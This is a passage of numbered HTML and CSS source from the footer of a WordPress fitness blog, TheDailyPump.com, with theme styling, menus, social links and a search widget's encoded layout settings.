3383@media (min-width: 1019px) and (max-width: 1140px){
3384.tdi_59 .tdb-logo-img{
3385                    max-width: 100px;
3386                }
3387}
3388
3389/* portrait */
3390@media (min-width: 768px) and (max-width: 1018px){
3391.tdi_59 .tdb-logo-img{
3392                    max-width: 80px;
3393                }.tdi_59 .tdb-logo-img-wrap{
3394                    margin-top: 0px;
3395                
3396                    margin-bottom: 0px;
3397                
3398                    margin-right: 5px;
3399                
3400                    margin-left: 0px;
3401                }.tdi_59 .tdb-logo-img-wrap:first-child{
3402                    margin-top: 0;
3403                
3404                    margin-left: 0;
3405                }.tdi_59 .tdb-logo-img-wrap:last-child{
3406                    margin-bottom: 0;
3407                
3408                    margin-right: 0;
3409                }.tdi_59 .tdb-logo-text-tagline{
3410                    margin-top: 0;
3411                    margin-left: 5px;
3412                
3413                    font-family:Noto Sans !important;font-size:22px !important;text-transform:capitalize !important;letter-spacing:-0.3px !important;;
3414                }.tdi_59 .tdb-logo-text-title{
3415                    font-family:Bree Serif !important;font-size:24px !important;line-height:1 !important;font-weight:500 !important;text-transform:capitalize !important;;
3416                }
3417}
3418
3419/* phone */
3420@media (max-width: 767px){
3421.tdi_59 .tdb-logo-img-wrap{
3422                    margin-top: 0px;
3423                
3424                    margin-bottom: 0px;
3425                
3426                    margin-right: 5px;
3427                
3428                    margin-left: 0px;
3429                }.tdi_59 .tdb-logo-img-wrap:first-child{
3430                    margin-top: 0;
3431                
3432                    margin-left: 0;
3433                }.tdi_59 .tdb-logo-img-wrap:last-child{
3434                    margin-bottom: 0;
3435                
3436                    margin-right: 0;
3437                }
3438}
3439</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://thedailypump.com/"><h1><span class="tdb-logo-img-wrap"><img class="tdb-logo-img" src="https://thedailypump.com/wp-content/uploads/2020/05/thedailypumplogo-02.png" alt="Logo"  title=""  width="2196" height="714" /></span><span class="tdb-logo-text-wrap"><span class="tdb-logo-text-title">fitness</span><span class="tdb-logo-text-tagline">blog</span></span></h1></a></div></div> <!-- ./block --><div class="tdm_block td_block_wrap tdm_block_inline_text tdi_60 td-pb-border-top td_block_template_1"  data-td-block-uid="tdi_60" >
3440<style>
3441
3442/* inline tdc_css att */
3443
3444.tdi_60{
3445margin-bottom:20px !important;
3446}
3447
3448/* portrait */
3449@media (min-width: 768px) and (max-width: 1018px)
3450{
3451.tdi_60{
3452margin-bottom:15px !important;
3453}
3454}
3455
3456</style>
3457<style>
3458/* custom css */
3459.tdm_block.tdm_block_inline_text{
3460                  margin-bottom: 0;
3461                  vertical-align: top;
3462                }.tdm_block.tdm_block_inline_text .tdm-descr{
3463                  margin-bottom: 0;
3464                  -webkit-transform: translateZ(0);
3465                  transform: translateZ(0);
3466                }.tdc-row-content-vert-center .tdm-inline-text-yes{
3467                  vertical-align: middle;
3468                }.tdc-row-content-vert-bottom .tdm-inline-text-yes{
3469                  vertical-align: bottom;
3470                }.tdi_60{
3471                    text-align: left !important;
3472                }.tdi_60 .tdm-descr{
3473                    color: #333333;
3474                
3475					font-family:Noto Sans !important;font-size:13px !important;line-height:1.5 !important;
3476				}
3477
3478/* portrait */
3479@media (min-width: 768px) and (max-width: 1018px){
3480.tdi_60 .tdm-descr{
3481					font-family:Noto Sans !important;font-size:12px !important;line-height:1.5 !important;
3482				}
3483}
3484</style><p class="tdm-descr">TheDailiyPump.com brings you tips to get the best results from your bodybuilding workouts.</p></div><div class="tdm_block td_block_wrap tdm_block_inline_text tdi_61 td-pb-border-top td_block_template_1"  data-td-block-uid="tdi_61" >
3485<style>
3486
3487/* inline tdc_css att */
3488
3489.tdi_61{
3490margin-bottom:35px !important;
3491}
3492
3493/* portrait */
3494@media (min-width: 768px) and (max-width: 1018px)
3495{
3496.tdi_61{
3497margin-bottom:25px !important;
3498}
3499}
3500
3501/* phone */
3502@media (max-width: 767px)
3503{
3504.tdi_61{
3505margin-bottom:30px !important;
3506}
3507}
3508
3509</style>
3510<style>
3511/* custom css */
3512.tdi_61{
3513                    text-align: left !important;
3514                }.tdi_61 .tdm-descr{
3515                    color: #333333;
3516                
3517					font-family:Noto Sans !important;font-size:13px !important;line-height:1.5 !important;
3518				}
3519
3520/* portrait */
3521@media (min-width: 768px) and (max-width: 1018px){
3522.tdi_61 .tdm-descr{
3523					font-family:Noto Sans !important;font-size:12px !important;line-height:1.5 !important;
3524				}
3525}
3526</style><p class="tdm-descr">© TheDailyPump.com | All rights reserved</p></div><div class="tdm_block td_block_wrap tdm_block_socials tdi_62 tdm-content-horiz-left td-pb-border-top td_block_template_1"  data-td-block-uid="tdi_62" >
3527<style>
3528/* custom css */
3529.tdm_block.tdm_block_socials{
3530                  margin-bottom: 0;
3531                }.tdm-social-wrapper{
3532                  *zoom: 1;
3533                }.tdm-social-wrapper:before,
3534                .tdm-social-wrapper:after{
3535                  display: table;
3536                  content: '';
3537                  line-height: 0;
3538                }.tdm-social-wrapper:after{
3539                  clear: both;
3540                }.tdm-social-item-wrap{
3541                  display: inline-block;
3542                }.tdm-social-item{
3543                  position: relative;
3544                  display: inline-block;
3545                  vertical-align: middle;
3546                  -webkit-transition: all 0.2s;
3547                  transition: all 0.2s;
3548                  text-align: center;
3549                  -webkit-transform: translateZ(0);
3550                  transform: translateZ(0);
3551                }.tdm-social-item i{
3552                  font-size: 14px;
3553                  color: #4db2ec;
3554                  -webkit-transition: all 0.2s;
3555                  transition: all 0.2s;
3556                }.tdm-social-text{
3557                  display: none;
3558                  margin-top: -1px;
3559                  vertical-align: middle;
3560                  font-size: 13px;
3561                  color: #4db2ec;
3562                  -webkit-transition: all 0.2s;
3563                  transition: all 0.2s;
3564                }.tdm-social-item-wrap:hover i,
3565                .tdm-social-item-wrap:hover .tdm-social-text{
3566                  color: #000;
3567                }.tdm-social-item-wrap:last-child .tdm-social-text{
3568                  margin-right: 0 !important;
3569                }
3570</style>
3571<style>
3572.tdi_63 .tdm-social-item i{
3573					font-size: 18px;
3574					vertical-align: middle;
3575				
3576					line-height: 45px;
3577				}.tdi_63 .tdm-social-item i.td-icon-twitter,
3578				.tdi_63 .tdm-social-item i.td-icon-linkedin,
3579				.tdi_63 .tdm-social-item i.td-icon-pinterest,
3580				.tdi_63 .tdm-social-item i.td-icon-blogger,
3581				.tdi_63 .tdm-social-item i.td-icon-vimeo{
3582					font-size: 14.4px;
3583				}.tdi_63 .tdm-social-item{
3584					width: 45px;
3585					height: 45px;
3586				
3587				    margin: 7px 14px 7px 0;
3588				
3589					background: #ffffff;
3590				
3591					border-radius: 50px;
3592				
3593				    box-shadow:  0px 5px 20px 0px rgba(0,0,0,0.16);
3594				}.tdi_63 .tdm-social-item-wrap:last-child .tdm-social-item{
3595				    margin-right: 0 !important;
3596				}.tdi_63 .tdm-social-item i,
3597				.tds-team-member2 .tdi_63.tds-social5 .tdm-social-item i{
3598					color: #333333;
3599				}.tdi_63 .tdm-social-item-wrap:hover i,
3600				.tds-team-member2 .tdi_63.tds-social5 .tdm-social-item-wrap:hover i{
3601					color: #333333;
3602				}.tdi_63 .tdm-social-item-wrap:hover .tdm-social-item{
3603					background: #ffffff;
3604				
3605				    box-shadow:  0px 2px 10px 0px rgba(0,0,0,0.1);
3606				}.tdi_63 .tdm-social-text{
3607					display: none;
3608				
3609					margin-left: 2px;
3610				
3611					margin-right: 18px;
3612				}
3613
3614/* landscape */
3615@media (min-width: 1019px) and (max-width: 1140px){
3616
3617}
3618
3619/* portrait */
3620@media (min-width: 768px) and (max-width: 1018px){
3621.tdi_63 .tdm-social-item i{
3622					font-size: 16px;
3623					vertical-align: middle;
3624				
3625					line-height: 40px;
3626				}.tdi_63 .tdm-social-item i.td-icon-twitter,
3627				.tdi_63 .tdm-social-item i.td-icon-linkedin,
3628				.tdi_63 .tdm-social-item i.td-icon-pinterest,
3629				.tdi_63 .tdm-social-item i.td-icon-blogger,
3630				.tdi_63 .tdm-social-item i.td-icon-vimeo{
3631					font-size: 12.8px;
3632				}.tdi_63 .tdm-social-item{
3633					width: 40px;
3634					height: 40px;
3635				
3636				    margin: 4px 8px 4px 0;
3637				}
3638}
3639
3640/* phone */
3641@media (max-width: 767px){
3642
3643}
3644</style><div class="tdm-social-wrapper tds-social5 tdi_63"><div class="tdm-social-item-wrap"><a href="https://www.facebook.com/ThatPump"  title="Facebook" class="tdm-social-item"><i class="td-icon-font td-icon-facebook"></i></a><a href="https://www.facebook.com/ThatPump"  class="tdm-social-text">Facebook</a></div><div class="tdm-social-item-wrap"><a href="https://www.instagram.com/daily.pumps/"  title="Instagram" class="tdm-social-item"><i class="td-icon-font td-icon-instagram"></i></a><a href="https://www.instagram.com/daily.pumps/"  class="tdm-social-text">Instagram</a></div><div class="tdm-social-item-wrap"><a href="https://twitter.com/thedailypump"  title="Twitter" class="tdm-social-item"><i class="td-icon-font td-icon-twitter"></i></a><a href="https://twitter.com/thedailypump"  class="tdm-social-text">Twitter</a></div><div class="tdm-social-item-wrap"><a href="https://www.youtube.com/channel/UCvbak2fWlKEC1WNhvarysHg"  title="Youtube" class="tdm-social-item"><i class="td-icon-font td-icon-youtube"></i></a><a href="https://www.youtube.com/channel/UCvbak2fWlKEC1WNhvarysHg"  class="tdm-social-text">Youtube</a></div></div></div></div></div><div class="vc_column tdi_65  wpb_column vc_column_container tdc-column td-pb-span3">
3645<style scoped>
3646
3647/* custom css */
3648.tdi_65{
3649                    vertical-align: baseline;
3650                }.tdi_65 > .wpb_wrapper,
3651				.tdi_65 > .wpb_wrapper > .tdc-elements{
3652				    display: block;
3653				}.tdi_65 > .wpb_wrapper > .tdc-elements{
3654				    width: 100%;
3655				}.tdi_65 > .wpb_wrapper > .vc_row_inner{
3656				    width: auto;
3657				}.tdi_65 > .wpb_wrapper{
3658				    width: auto;
3659				    height: auto;
3660				}
3661/* inline tdc_css att */
3662
3663.tdi_65{
3664width:20% !important;
3665}
3666
3667/* phone */
3668@media (max-width: 767px)
3669{
3670.tdi_65{
3671margin-bottom:40px !important;
3672width:100% !important;
3673}
3674}
3675
3676/* portrait */
3677@media (min-width: 768px) and (max-width: 1018px)
3678{
3679.tdi_65{
3680width:18% !important;
3681}
3682}
3683
3684</style><div class="wpb_wrapper" ><div class="tdm_block td_block_wrap tdm_block_column_title tdi_66 tdm-content-horiz-left td-pb-border-top td_block_template_1"  data-td-block-uid="tdi_66" >
3685<style>
3686
3687/* inline tdc_css att */
3688
3689.tdi_66{
3690margin-top:-10px !important;
3691margin-bottom:5px !important;
3692margin-left:-5px !important;
3693}
3694
3695/* phone */
3696@media (max-width: 767px)
3697{
3698.tdi_66{
3699margin-left:0px !important;
3700}
3701}
3702
3703</style>
3704<style>
3705/* custom css */
3706.tdm_block_column_title{
3707                  margin-bottom: 0;
3708                  display: inline-block;
3709                  width: 100%;
3710                }
3711</style><div class="td-block-row"><div class="td-block-span12 tdm-col">
3712<style>
3713body .tdi_67 .tdm-title{
3714					color: #22b573;
3715				}body .tdi_66:hover .tdi_67 .tdm-title{
3716					color: #333333;
3717				
3718					-webkit-text-fill-color: unset;
3719					background: transparent;
3720					transition: none;
3721				}.tdi_66:hover .tdi_67 .tdm-title{
3722					cursor: default;
3723				}.tdi_67 .tdm-title{
3724					font-family:Bree Serif !important;font-size:18px !important;text-transform:uppercase !important;
3725				}
3726
3727/* portrait */
3728@media (min-width: 768px) and (max-width: 1018px){
3729.tdi_67 .tdm-title{
3730					font-family:Bree Serif !important;font-size:15px !important;text-transform:uppercase !important;
3731				}
3732}
3733</style><div class="tds-title tds-title1 td-fix-index tdi_67"><h2 class="tdm-title tdm-title-sm">Pages</h2></div></div></div></div><div class="td_block_wrap td_block_list_menu tdi_68 td-pb-border-top td_block_template_1 widget"  data-td-block-uid="tdi_68" >
3734<style>
3735
3736/* inline tdc_css att */
3737
3738.tdi_68{
3739margin-bottom:0px !important;
3740}
3741
3742</style>
3743<style>
3744/* custom css */
3745.td_block_list_menu ul{
3746                  flex-wrap: wrap;
3747                  margin-left: 12px;
3748                }.td_block_list_menu ul li{
3749                  margin-left: 0;
3750                }.td_block_list_menu .sub-menu{
3751                  padding-left: 22px;
3752                }.td_block_list_menu .sub-menu li{
3753                  font-size: 13px;
3754                }.td_block_list_menu li.current-menu-item > a,
3755				.td_block_list_menu li.current-menu-ancestor > a,
3756				.td_block_list_menu li.current-category-ancestor > a{
3757				    color: #4db2ec;
3758				}.tdi_68 ul{
3759					margin: 0px;
3760				
3761					text-align: left;
3762					justify-content: flex-start;
3763				}.tdi_68 a{
3764					color: #333333;
3765				}body .tdi_68 li.current-menu-item > a,
3766				body .tdi_68 li.current-menu-ancestor > a,
3767				body .tdi_68 li.current-category-ancestor > a,
3768				body .tdi_68 a:hover{
3769					color: #e2b26f;
3770				}.tdi_68 li{
3771					font-family:Noto Sans !important;font-size:13px !important;line-height:2.35 !important;
3772				}
3773
3774/* portrait */
3775@media (min-width: 768px) and (max-width: 1018px){
3776.tdi_68 li{
3777					font-family:Noto Sans !important;font-size:12px !important;line-height:2.35 !important;
3778				}
3779}
3780</style><div class="td-block-title-wrap"></div><div id=tdi_68 class="td_block_inner td-fix-index"><div class="menu-footer-pages-container"><ul id="menu-footer-pages" class="menu"><li id="menu-item-1278" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-1278"><a href="/">Home</a></li>
3781<li id="menu-item-1277" class="menu-item menu-item-type-post_type menu-item-object-page current-menu-item page_item page-item-1260 current_page_item menu-item-1277">
3781<a href="https://thedailypump.com/about/" aria-current="page">About</a></li>
3782<li id="menu-item-1276" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1276"><a href="https://thedailypump.com/contact/">Contact</a></li>
3783</ul></div></div></div></div></div><div class="vc_column tdi_70  wpb_column vc_column_container tdc-column td-pb-span3">
3784<style scoped>
3785
3786/* custom css */
3787.tdi_70{
3788                    vertical-align: baseline;
3789                }.tdi_70 > .wpb_wrapper,
3790				.tdi_70 > .wpb_wrapper > .tdc-elements{
3791				    display: block;
3792				}.tdi_70 > .wpb_wrapper > .tdc-elements{
3793				    width: 100%;
3794				}.tdi_70 > .wpb_wrapper > .vc_row_inner{
3795				    width: auto;
3796				}.tdi_70 > .wpb_wrapper{
3797				    width: auto;
3798				    height: auto;
3799				}
3800/* inline tdc_css att */
3801
3802.tdi_70{
3803width:20% !important;
3804}
3805
3806/* phone */
3807@media (max-width: 767px)
3808{
3809.tdi_70{
3810margin-bottom:40px !important;
3811width:100% !important;
3812}
3813}
3814
3815/* portrait */
3816@media (min-width: 768px) and (max-width: 1018px)
3817{
3818.tdi_70{
3819width:18% !important;
3820}
3821}
3822
3823</style><div class="wpb_wrapper" ><div class="tdm_block td_block_wrap tdm_block_column_title tdi_71 tdm-content-horiz-left td-pb-border-top td_block_template_1"  data-td-block-uid="tdi_71" >
3824<style>
3825
3826/* inline tdc_css att */
3827
3828.tdi_71{
3829margin-top:-10px !important;
3830margin-left:-5px !important;
3831}
3832
3833/* phone */
3834@media (max-width: 767px)
3835{
3836.tdi_71{
3837margin-left:0px !important;
3838}
3839}
3840
3841</style><div class="td-block-row"><div class="td-block-span12 tdm-col">
3842<style>
3843body .tdi_72 .tdm-title{
3844					color: #22b573;
3845				}body .tdi_71:hover .tdi_72 .tdm-title{
3846					color: #333333;
3847				
3848					-webkit-text-fill-color: unset;
3849					background: transparent;
3850					transition: none;
3851				}.tdi_71:hover .tdi_72 .tdm-title{
3852					cursor: default;
3853				}.tdi_72 .tdm-title{
3854					font-family:Bree Serif !important;font-size:18px !important;text-transform:uppercase !important;
3855				}
3856
3857/* portrait */
3858@media (min-width: 768px) and (max-width: 1018px){
3859.tdi_72 .tdm-title{
3860					font-family:Bree Serif !important;font-size:15px !important;text-transform:uppercase !important;
3861				}
3862}
3863</style><div class="tds-title tds-title1 td-fix-index tdi_72"><h2 class="tdm-title tdm-title-sm">Categories</h2></div></div></div></div><div class="td_block_wrap td_block_list_menu tdi_73 td-pb-border-top td_block_template_1 widget"  data-td-block-uid="tdi_73" >
3864<style>
3865
3866/* inline tdc_css att */
3867
3868.tdi_73{
3869margin-bottom:0px !important;
3870}
3871
3872</style>
3873<style>
3874/* custom css */
3875.tdi_73 ul{
3876					margin: 0px;
3877				
3878					text-align: left;
3879					justify-content: flex-start;
3880				}.tdi_73 a{
3881					color: #333333;
3882				}body .tdi_73 li.current-menu-item > a,
3883				body .tdi_73 li.current-menu-ancestor > a,
3884				body .tdi_73 li.current-category-ancestor > a,
3885				body .tdi_73 a:hover{
3886					color: #e2b26f;
3887				}.tdi_73 li{
3888					font-family:Noto Sans !important;font-size:13px !important;line-height:2.35 !important;
3889				}
3890
3891/* portrait */
3892@media (min-width: 768px) and (max-width: 1018px){
3893.tdi_73 li{
3894					font-family:Noto Sans !important;font-size:12px !important;line-height:2.35 !important;
3895				}
3896}
3897</style><div class="td-block-title-wrap"></div><div id=tdi_73 class="td_block_inner td-fix-index"><div class="menu-footer-categories-container"><ul id="menu-footer-categories" class="menu"><li id="menu-item-1279" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1279"><a href="https://thedailypump.com/category/events/">Events</a></li>
3898<li id="menu-item-1281" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1281"><a href="https://thedailypump.com/category/fitness/">Fitness</a></li>
3899<li id="menu-item-1283" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1283"><a href="https://thedailypump.com/category/nutrition-and-supplements/">Nutrition and Supplements</a></li>
3900<li id="menu-item-1285" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1285"><a href="https://thedailypump.com/category/product-reviews/">Product Reviews</a></li>
3901<li id="menu-item-1286" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1286">
3901<a href="https://thedailypump.com/category/videos/">Videos</a></li>
3902<li id="menu-item-1287" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1287"><a href="https://thedailypump.com/category/weight-loss/">Weight Loss</a></li>
3903</ul></div></div></div></div></div><div class="vc_column tdi_75  wpb_column vc_column_container tdc-column td-pb-span3">
3904<style scoped>
3905
3906/* custom css */
3907.tdi_75{
3908                    vertical-align: baseline;
3909                }.tdi_75 > .wpb_wrapper,
3910				.tdi_75 > .wpb_wrapper > .tdc-elements{
3911				    display: block;
3912				}.tdi_75 > .wpb_wrapper > .tdc-elements{
3913				    width: 100%;
3914				}.tdi_75 > .wpb_wrapper > .vc_row_inner{
3915				    width: auto;
3916				}.tdi_75 > .wpb_wrapper{
3917				    width: auto;
3918				    height: auto;
3919				}
3920/* inline tdc_css att */
3921
3922.tdi_75{
3923width:26% !important;
3924}
3925
3926/* phone */
3927@media (max-width: 767px)
3928{
3929.tdi_75{
3930width:100% !important;
3931}
3932}
3933
3934/* portrait */
3935@media (min-width: 768px) and (max-width: 1018px)
3936{
3937.tdi_75{
3938width:30% !important;
3939}
3940}
3941
3942/* landscape */
3943@media (min-width: 1019px) and (max-width: 1140px)
3944{
3945.tdi_75{
3946width:30% !important;
3947}
3948}
3949
3950</style><div class="wpb_wrapper" ><div class="tdm_block td_block_wrap tdm_block_column_title tdi_76 tdm-content-horiz-left td-pb-border-top td_block_template_1"  data-td-block-uid="tdi_76" >
3951<style>
3952
3953/* inline tdc_css att */
3954
3955.tdi_76{
3956margin-top:-10px !important;
3957margin-bottom:10px !important;
3958margin-left:-5px !important;
3959}
3960
3961/* phone */
3962@media (max-width: 767px)
3963{
3964.tdi_76{
3965margin-left:0px !important;
3966}
3967}
3968
3969</style><div class="td-block-row"><div class="td-block-span12 tdm-col">
3970<style>
3971body .tdi_77 .tdm-title{
3972					color: #22b573;
3973				}body .tdi_76:hover .tdi_77 .tdm-title{
3974					color: #333333;
3975				
3976					-webkit-text-fill-color: unset;
3977					background: transparent;
3978					transition: none;
3979				}.tdi_76:hover .tdi_77 .tdm-title{
3980					cursor: default;
3981				}.tdi_77 .tdm-title{
3982					font-family:Bree Serif !important;font-size:18px !important;text-transform:uppercase !important;
3983				}
3984
3985/* portrait */
3986@media (min-width: 768px) and (max-width: 1018px){
3987.tdi_77 .tdm-title{
3988					font-family:Bree Serif !important;font-size:15px !important;text-transform:uppercase !important;
3989				}
3990}
3991</style><div class="tds-title tds-title1 td-fix-index tdi_77"><h2 class="tdm-title tdm-title-sm">Latest articles</h2></div></div></div></div><div class="td_block_wrap td_flex_block_1 tdi_78 td-pb-border-top td-flex-footer td_block_template_1 td_ajax_preloading_preload td_flex_block"  data-td-block-uid="tdi_78" >
3992<style>
3993
3994/* inline tdc_css att */
3995
3996.tdi_78{
3997margin-bottom:0px !important;
3998}
3999
4000</style>
4001<style>
4002/* custom css */
4003.tdi_78 .td-image-wrap{
4004					padding-bottom: 64%;
4005				}.tdi_78 .entry-thumb{
4006					background-position: center 40%;
4007				}.tdi_78 .td-image-container{
4008				 	flex: 0 0 22%;
4009				 	width: 22%;
4010			    
4011                	display: block; order: 0;
4012                }.ie10 .tdi_78 .td-image-container,
4013				.ie11 .tdi_78 .td-image-container{
4014				 	flex: 0 0 auto;
4015			    }.tdi_78 .td-module-container{
4016					flex-direction: row;
4017				
4018				    border-color: #eaeaea !important;
4019				}.ie10 .tdi_78 .td-module-meta-info,
4020				.ie11 .tdi_78 .td-module-meta-info{
4021				 	flex: 1;
4022			    }.tdi_78 .td-module-meta-info{
4023					padding: 0 0 0 20px;
4024				
4025				    display: flex;
4026				    flex-direction: column;
4027					justify-content: center;
4028				
4029					border-color: #eaeaea;
4030				}.tdi_78 .td-category-pos-above .td-post-category{
4031				    align-self: flex-start;
4032				}.tdi_78 .td_module_wrap{
4033					padding-left: 0px;
4034					padding-right: 0px;
4035				
4036					padding-bottom: 11px;
4037					margin-bottom: 11px;
4038				}.tdi_78 .td_block_inner{
4039					margin-left: -0px;
4040					margin-right: -0px;
4041				}.tdi_78 .td-module-container:before{
4042					bottom: -11px;
4043				
4044					border-color: #eaeaea;
4045				}.tdi_78 .entry-thumb,
4046				.tdi_78 .entry-thumb:before,
4047				.tdi_78 .entry-thumb:after{
4048					border-radius: 6px;
4049				}.tdi_78 .td-post-vid-time{
4050					display: block;
4051				}.tdi_78 .td-post-category{
4052					margin: 5px;
4053				
4054					padding: 3px 15px 2px 15px;
4055				}.tdi_78 .td-post-category:not(.td-post-extra-category){
4056					display: none;
4057				}.tdi_78 .td-author-photo .avatar{
4058				    width: 20px;
4059				    height: 20px;
4060				
4061				    margin-right: 6px;
4062				
4063				    border-radius: 50%;
4064				}.tdi_78 .td-excerpt{
4065					display: none;
4066				
4067					column-count: 1;
4068				
4069					column-gap: 48px;
4070				}.tdi_78 .td-audio-player{
4071					opacity: 1;
4072					visibility: visible;
4073					height: auto;
4074				
4075					font-size: 13px;
4076				}.tdi_78 .td-read-more{
4077					display: none;
4078				}.tdi_78 .td-author-date{
4079					display: inline;
4080				}.tdi_78 .td-post-author-name{
4081					display: none;
4082				}.tdi_78 .td-post-date,
4083				.tdi_78 .td-post-author-name span{
4084					display: none;
4085				}.tdi_78 .entry-review-stars{
4086					display: inline-block;
4087				}.tdi_78 .td-icon-star,
4088                .tdi_78 .td-icon-star-empty,
4089                .tdi_78 .td-icon-star-half{
4090					font-size: 15px;
4091				}.tdi_78 .td-module-comments{
4092					display: none;
4093				}.tdi_78 .td_module_wrap:nth-last-child(1){
4094					margin-bottom: 0;
4095					padding-bottom: 0;
4096				}.tdi_78 .td_module_wrap:nth-last-child(1) .td-module-container:before{
4097					display: none;
4098				}.tdi_78 .td-module-title a{
4099					color: #333333;
4100				
4101                    box-shadow: inset 0 0 0 0 rgba(247,157,22,0.25);
4102                }.tdi_78 .td_module_wrap:hover .td-module-title a{
4103					color: #333333 !important;
4104				
4105				    box-shadow: inset 0 -3px 0 0 rgba(247,157,22,0.25);
4106				}.tdi_78.td_with_ajax_pagination .td-next-prev-wrap a,
4107				.tdi_78 .td-load-more-wrap a{
4108					border-color: rgba(255,255,255,0);
4109				}.tdi_78.td_with_ajax_pagination .td-next-prev-wrap a:hover,
4110				.tdi_78 .td-load-more-wrap a:hover{
4111					border-color: rgba(255,255,255,0) !important;
4112				}.tdi_78 .entry-title{
4113					margin: 0 0 4px 0;
4114				
4115					font-family:Bree Serif !important;font-size:15px !important;line-height:1.2 !important;
4116				}html:not([class*='ie']) .tdi_78 .td-module-container:hover .entry-thumb:before{
4117                    opacity: 0;
4118                }@media (min-width: 768px) {
4119                    .tdi_78 .td-module-title a {
4120                        transition: all 0.2s ease;
4121                        -webkit-transition: all 0.2s ease;
4122                    }
4123                }
4124
4125/* landscape */
4126@media (min-width: 1019px) and (max-width: 1140px){
4127.tdi_78 .td_module_wrap{
4128					padding-bottom: 11px;
4129					margin-bottom: 11px;
4130				
4131					padding-bottom: 11px !important;
4132					margin-bottom: 11px !important;
4133				}.tdi_78 .td-module-container:before{
4134					bottom: -11px;
4135				}.tdi_78 .td_module_wrap:nth-last-child(1){
4136					margin-bottom: 0 !important;
4137					padding-bottom: 0 !important;
4138				}.tdi_78 .td_module_wrap .td-module-container:before{
4139					display: block !important;
4140				}.tdi_78 .td_module_wrap:nth-last-child(1) .td-module-container:before{
4141					display: none !important;
4142				}.tdi_78 .td-module-title a{
4143                    box-shadow: inset 0 0 0 0 rgba(247,157,22,0.25);
4144                }.tdi_78 .td_module_wrap:hover .td-module-title a{
4145				    box-shadow: inset 0 -3px 0 0 rgba(247,157,22,0.25);
4146				}@media (min-width: 768px) {
4147                    .tdi_78 .td-module-title a {
4148                        transition: all 0.2s ease;
4149                        -webkit-transition: all 0.2s ease;
4150                    }
4151                }
4152}
4153
4154/* portrait */
4155@media (min-width: 768px) and (max-width: 1018px){
4156.tdi_78 .td-image-wrap{
4157					padding-bottom: 70%;
4158				}.tdi_78 .td-module-meta-info{
4159					padding: 0 0 0 16px;
4160				}.tdi_78 .td_module_wrap{
4161					padding-bottom: 10px;
4162					margin-bottom: 10px;
4163				
4164					padding-bottom: 10px !important;
4165					margin-bottom: 10px !important;
4166				}.tdi_78 .td-module-container:before{
4167					bottom: -10px;
4168				}.tdi_78 .entry-thumb,
4169				.tdi_78 .entry-thumb:before,
4170				.tdi_78 .entry-thumb:after{
4171					border-radius: 5px;
4172				}.tdi_78 .td_module_wrap:nth-last-child(1){
4173					margin-bottom: 0 !important;
4174					padding-bottom: 0 !important;
4175				}.tdi_78 .td_module_wrap .td-module-container:before{
4176					display: block !important;
4177				}.tdi_78 .td_module_wrap:nth-last-child(1) .td-module-container:before{
4178					display: none !important;
4179				}.tdi_78 .td-module-title a{
4180                    box-shadow: inset 0 0 0 0 rgba(247,157,22,0.25);
4181                }.tdi_78 .td_module_wrap:hover .td-module-title a{
4182				    box-shadow: inset 0 -3px 0 0 rgba(247,157,22,0.25);
4183				}.tdi_78 .entry-title{
4184					font-family:Bree Serif !important;font-size:12px !important;line-height:1.2 !important;
4185				}.tdi_78 .td-excerpt{
4186					font-size:12px !important;line-height:1.6 !important;
4187				}@media (min-width: 768px) {
4188                    .tdi_78 .td-module-title a {
4189                        transition: all 0.2s ease;
4190                        -webkit-transition: all 0.2s ease;
4191                    }
4192                }
4193}
4194
4195/* phone */
4196@media (max-width: 767px){
4197.tdi_78 .td_module_wrap{
4198					width: 100%;
4199					float: left;
4200				
4201					padding-bottom: 20px;
4202					margin-bottom: 20px;
4203				
4204					padding-bottom: 20px !important;
4205					margin-bottom: 20px !important;
4206				}.rtl .tdi_78 .td_module_wrap{
4207					float: right;
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4360                tdbSearchItem.blockAtts = '{"inline":"yes","form_align":"content-horiz-left","results_msg_align":"content-horiz-center","image_floated":"","image_width":"100","image_size":"","show_cat":"","show_btn":"none","show_date":"none","show_review":"none","show_com":"none","show_excerpt":"none","show_author":"none","all_modules_space":"eyJhbGwiOiIzNSIsInBvcnRyYWl0IjoiMjUiLCJsYW5kc2NhcGUiOiIzMCJ9","icon_padding":"1","icon_color":"#333333","title_txt_hover":"#e2b26f","btn_bg_h":"#333333","tdc_css":"eyJhbGwiOnsibWFyZ2luLXRvcCI6IjgiLCJtYXJnaW4tbGVmdCI6IjE1IiwiYm9yZGVyLWxlZnQtd2lkdGgiOiIxIiwicGFkZGluZy10b3AiOiI4IiwicGFkZGluZy1sZWZ0IjoiMTUiLCJib3JkZXItY29sb3IiOiJyZ2JhKDAsMCwwLDAuMTIpIiwiZGlzcGxheSI6IiJ9LCJwb3J0cmFpdCI6eyJtYXJnaW4tbGVmdCI6IjEyIiwicGFkZGluZy1sZWZ0IjoiMTQiLCJkaXNwbGF5IjoiIn0sInBvcnRyYWl0X21heF93aWR0aCI6MTAxOCwicG9ydHJhaXRfbWluX3dpZHRoIjo3NjgsImxhbmRzY2FwZSI6eyJtYXJnaW4tbGVmdCI6IjE4IiwicGFkZGluZy10b3AiOiIzIiwicGFkZGluZy1sZWZ0IjoiMjAiLCJkaXNwbGF5IjoiIn0sImxhbmRzY2FwZV9tYXhfd2lkdGgiOjExNDAsImxhbmRzY2FwZV9taW5fd2lkdGgiOjEwMTl9","tdicon":"td-icon-magnifier-medium-short-light","show_form":"yes","form_offset":"28","input_shadow_shadow_color":"rgba(0,0,0,0.15)","f_input_font_family":"420","f_placeholder_font_family":"420","f_btn_font_family":"92","f_btn_font_transform":"uppercase","f_btn_font_size":"13","form_width":"eyJhbGwiOiI4MDAiLCJsYW5kc2NhcGUiOiI2MjAiLCJwb3J0cmFpdCI6IjUwMCJ9","input_border":"1px 0 1px 1px ","f_placeholder_font_transform":"","placeholder_opacity":"0.4","btn_icon_pos":"","results_border":"0","results_msg_padding":"10px 0 